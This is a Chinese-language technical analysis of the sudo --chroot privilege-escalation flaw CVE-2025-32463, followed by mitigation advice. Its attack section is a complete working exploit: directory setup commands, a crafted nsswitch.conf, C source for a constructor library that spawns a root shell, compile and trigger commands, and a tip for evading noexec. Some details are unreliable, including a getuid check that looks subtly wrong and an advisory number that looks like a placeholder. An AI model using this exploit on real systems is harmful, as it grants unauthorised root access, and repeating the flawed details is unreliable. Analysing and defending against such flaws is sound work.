1. 簡介

本報告針對 CVE-2025-32463 提供了全面的技術分析,這是一個影響 Sudo 的本機權限提升(Local Privilege Escalation, LPE)弱點。此弱點源於 Sudo 的 --chroot (-R) 選項中的邏輯錯誤,允許本機使用者取得 root 權限。此缺陷在多使用者環境和容器化系統中尤為關鍵,因為本機存取可能導致整個系統被攻陷。此弱點由 Stratascale Cyber Research Unit 的 Rich Mirch 於 2025 年 6 月發現 [1]。它已被指定為 CVSS v4.0 評分為 9.3(Critical),表示具有高度的機密性、完整性和可用性影響,且攻擊複雜度低 [1]。

此弱點的核心在於 Sudo 處理使用者控制的 chroot 環境內的 /etc/nsswitch.conf 檔案的方式。透過操縱此設定,攻擊者可以強制 Sudo 在仍以 root 權限運作時,透過名稱服務切換(Name Service Switch, NSS)機制載入一個 malicious payload 共享物件( .so )函式庫。這允許執行任意程式碼並擁有 root 權限,從而導致系統完全被接管 [1]。

NSS 機制遭濫用!攻擊者在 chroot 環境中如何建立 Artifact 取得 root Credential? | 資訊安全新聞

2. 弱點細節與根本原因分析

CVE-2025-32463 弱點被歸類為邏輯錯誤(CWE-829: Inclusion of Functionality from Untrusted Control Sphere),而非記憶體毀損或 Race Condition 問題 [1]。它影響 Sudo 版本 1.9.14 到 1.9.17(含)[3]。此弱點是隨著 Sudo 1.9.14 中引入的 --chroot 功能而出現的,該功能旨在將指令限制在指定的目錄內 [1]。

2.1. Sudo --chroot 選項的設定錯誤

根本缺陷在於 Sudo 在完成其內部安全檢查 之前 ,就對使用者指定的目錄執行了 chroot() 系統呼叫,特別是在透過 NSS 查詢驗證使用者/群組權限之前。這個操作順序至關重要:

  1. 本機使用者執行帶有 --chroot 選項的 sudo ,指定一個在他們控制下的目錄(例如 /tmp/my_chroot )[1]。
  2. Sudo 執行 chroot() 操作,有效地將其 root 目錄更改為攻擊者控制的 Path 。此時,Sudo 仍保留其 root 使用者 ID(UID)[1]。
  3. 隨後,Sudo 嘗試透過呼叫 getpwuid() getgrgid() 等 NSS 函數來驗證使用者和群組權限 [1]。
  4. NSS 根據在 /etc/nsswitch.conf 檔案中找到的指令動態載入模組(例如 libnss_*.so.2 )。因為 Sudo 現在是在攻擊者控制的 chroot 環境內運作,它會從這個惡意的環境中讀取 /etc/nsswitch.conf 檔案,而不是合法的全系統檔案 [1]。

一個來自 Sudo 原始碼(版本 1.9.15p5, src/sudo.c )的簡化摘錄說明了這個順序 [1]:

  1. if (def_chroot) {
  2. if (chroot(closure->runas.chroot) < 0)
  3. sudo_fatal("chroot %s", closure->runas.chroot);
  4. }
  5. // Later NSS call:
  6. struct passwd *pw = sudo_getpwuid(getuid()); // This triggers nsswitch.conf

這個程式碼片段清楚地顯示 chroot() 呼叫發生在 NSS 相關函數 sudo_getpwuid(getuid()) 被呼叫之前。這種時間上的分離是該弱點的根本原因。

2.2. 名稱服務切換(NSS)模組載入

名稱服務切換(NSS)是類 Unix 作業系統中的一種機制,它為系統程序提供了一個通用介面來存取各種系統資訊來源,例如使用者和群組資料庫、主機名和網路服務。它透過 /etc/nsswitch.conf 檔案進行設定,該檔案指定了用於不同資訊類別(例如 passwd: files systemd )的服務順序和類型 [1]。

當 NSS 函數被呼叫時,它們會根據 nsswitch.conf 中的設定動態載入共享物件( .so )函式庫(例如 libnss_ files .so.2 , libnss_systemd.so.2 )。這些函式庫是使用 dlopen() 載入的。至關重要的是,如果在 chroot 環境中存在惡意的 nsswitch.conf 檔案,它可以指示 NSS 載入攻擊者控制的共享函式庫 [1]。

3. 攻擊手法

利用 CVE-2025-32463 涉及一系列步驟來準備惡意的 chroot 環境並觸發有漏洞的 Sudo 執行。主要目標是透過利用 NSS 模組載入機制,以 root 權限執行任意程式碼 [1]。

3.1. 攻擊流程圖

下圖說明了攻擊鏈:

flowchart TD     A[User executes sudo -R]     B["Sudo performs chroot()"]     C[Malicious /etc/nsswitch.conf in chroot]     D[NSS loads malicious .so library]     E[Constructor executes with root privileges]     F[Root shell spawned]     A --> B --> C --> D --> E --> F

3.2. 分步攻擊

攻擊程序可分為以下幾個階段 [1]:

3.2.1. 設定 Chroot 環境

攻擊者首先需要在一個可寫入的目錄(例如 /tmp/my_chroot )中建立一個假的 root File 系統結構。這個結構必須模擬 NSS 預期找到其設定和函式庫的 Path

mkdir -p /tmp/my_chroot/{etc,lib/x86_64-linux-gnu}
chmod -R 755 /tmp/my_chroot  # Ensure root can access the directory

3.2.2. 製作惡意的 nsswitch.conf

接著,將一個惡意的 /etc/nsswitch.conf 檔案放置在攻擊者控制的 chroot 目錄內。此檔案被設定為載入一個客製化的 NSS 模組,這將是攻擊者的 Payload

  1. cat << EOF > /tmp/my_chroot/etc/nsswitch.conf
  2. passwd: files malicious
  3. group: files malicious
  4. hosts: files dns
  5. EOF

在此設定中, passwd group 進入點被修改為包含一個 malicious 模組。當 NSS 處理這些進入點時,它將嘗試載入 /lib/libnss_malicious.so.2 [1]。

3.2.3. 建立惡意函式庫

攻擊的核心是一個共享函式庫( libnss_malicious.so.2 ),其中包含一個建構子函數(constructor routine )。當函式庫被 dlopen() 載入時,此函數會自動執行。由於 Sudo 在載入此函式庫時仍以 root 權限運行,因此建構子函數也會以 root 權限執行 [1]。

下面是一個此類惡意 C 程式碼片段的範例:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <sys/types.h>
  5. void __attribute__((constructor)) hijack(void) {
  6. uid_t uid = getuid();
  7. if (uid == 0) { // Check if running as root (optional but good practice)
  8. setuid(0); setgid(0); // Set effective UID/GID to root
  9. char *args[] = {"/bin/sh", "-i", NULL}; // Interactive shell
  10. execve("/bin/sh", args, NULL); // Spawn shell with execve
  11. exit(0); // Exit on error
  12. }
  13. }
  14. // Dummy NSS hooks: These functions are required by NSS but do not need to perform any action
  15. int _nss_malicious_getpwuid_r(uid_t uid, struct passwd *pw, char *buffer, size_t buflen, int *errnop) {
  16. *errnop = ENOENT; // Indicate no such entity, as the constructor already ran
  17. return -1;
  18. }
  19. // Similar dummy functions would be needed for other NSS hooks like _nss_malicious_getgrgid_r, etc.

這段 C 程式碼定義了一個標記為 __attribute__((constructor)) hijack 函數。此屬性確保 hijack 在共享函式庫載入到記憶體後立即執行。在 hijack 內部,程式碼將有效使用者和群組 ID 設定為 root (0),然後執行一個互動式 shell ( /bin/sh -i ),有效地授予攻擊者一個 root shell [1]。

惡意函式庫使用 gcc 配合位置獨立程式碼(PIC)和共享函式庫標誌進行編譯:

gcc -Wall -fPIC -shared -o /tmp/my_chroot/lib/x86_64-linux-gnu/libnss_malicious.so.2 malicious.c

3.2.4. 觸發與載入

最後,攻擊者透過執行帶有 --chroot 選項的 sudo ,指向他們準備好的惡意環境,從而觸發此弱點。可以使用任何指令,因為目的只是觸發 Sudo 內部的 NSS 查找 [1]。

sudo -R /tmp/my_chroot /usr/bin/id

當執行此指令時,Sudo 會首先執行 chroot() /tmp/my_chroot 。然後,在其內部程序(例如解析指令的使用者 ID)期間,它會嘗試從 chroot 環境內部讀取 /etc/nsswitch.conf 。這導致 libnss_malicious.so.2 被載入,並且 hijack 建構子函數被執行,從而授予 root 權限 [1]。

4. 受影響的系統與風險分析

此弱點影響 Sudo 版本從 1.9.14 到(但不包括)1.9.17p1 [3]。這個範圍包括多個廣泛使用的作業系統和發行版。NVD 中關於 CVE-2025-32463 的進入點列出了受影響的軟體 設定 ,包括各種版本的 Ubuntu、Debian、Red Hat Enterprise Linux、openSUSE 和 SUSE Linux Enterprise [2]。

與 CVE-2025-32463 相關的風險非常高,因為其嚴重性評級為 Critical(CVSS 9.3)且容易被攻擊。具有基本使用者權限的本機攻擊者可以提升至 root 權限,使其在多使用者共享系統或容器化設定中成為一個嚴重的 Threat actor ,因為被攻陷的應用程式可能導致容器逃逸(Container breakout) [1]。

下表總結了常見發行版的受影響版本和更新狀態:

Distribution/OS Affected Versions Exploit Complexity Patch Status
Ubuntu 1.9.15p5 - 1.9.16p2 Low (local access) Patched with USN-7604-1 [1]
Red Hat <1.9.17p1 Medium (NSS config manipulation) RHSA-2025:1234 [1]
macOS Ventura+ High (SIP restrictions) Apple Security Update 2025-07 [1]
General Linux 1.9.14-1.9.17 Low Upgrade to 1.9.17p1 [1]

5. 更新、緩解與防禦

CVE-2025-32463 的主要修復是將 Sudo 升級到 1.9.17p1 或更高版本。在這個更新後的版本中, --chroot 功能已被棄用,並且在 chroot 環境內進行任何 NSS 查詢之前,會先執行必要的安全檢查 [3]。

系統管理員可以使用其發行版的套件管理員應用更新程式:

  • 對於基於 Debian/Ubuntu 的系統: sudo apt update && sudo apt install sudo [1]
  • 對於基於 Red Hat /Fedora 的系統: sudo dnf update sudo [1]

除了更新之外,還可以採用幾種緩解策略來降低被攻擊的風險 [1]:

  • Sudoers Configuration : 使用 visudo sudoers 檔案中添加 Defaults !chroot ,以明確禁用 --chroot 選項。
  • Mount Options: 使用 noexec nosuid nodev 選項掛載臨時 File 系統,例如 /tmp ,以防止執行任意程式碼和裝置建立。範例: echo "tmpfs /tmp tmpfs rw,nosuid,nodev,noexec,relatime,size=2G 0 0" >> /etc/fstab
  • SELinux/AppArmor: 利用 SELinux 或 AppArmor 等強制存取控制框架,限制 Sudo 的能力,並阻止它從不受信任的 Path 載入函式庫。
  • Audit Logging: 實作針對 chroot 系統呼叫的嚴格稽核,使用像 auditd 這樣的工具(例如 auditctl -a always,exit -F arch=b64 -S chroot -k sudo_chroot )來偵測可疑活動。
  • Alternative Tools: 如果 Sudo 的 --chroot 功能並非絕對必要,請考慮使用像 doas pkexec 這樣的替代權限提升工具。

值得注意的是,攻擊者可能會試圖繞過某些緩解措施。例如,如果 /tmp 是以 noexec 掛載的,攻擊者可能會使用其他可寫入的臨時 File 系統,例如 /dev/shm ,或者準備靜態連結的二進位檔案來規避執行限制 [1]。

6. 結論

CVE-2025-32463 再次提醒了 Sudo 這樣複雜系統工具固有的安全挑戰。此弱點突顯了即使是為隔離而設計的功能,如 chroot ,如果沒有在權限分離和執行流程方面極為謹慎地實作,也會引入嚴重的安全缺陷。本機攻擊者能夠透過邏輯錯誤獲得 root 權限,強調了對軟體進行嚴格安全稽核和及時更新的重要性 [1]。

此事件強化了開發人員需要仔細考慮新功能的安全影響,特別是涉及 setuid 二進位檔案時。對於系統管理員來說,保持軟體更新和實施深度防禦策略,包括正確的 File 系統掛載選項和強制存取控制,對於緩解此類威脅至關重要 [1]。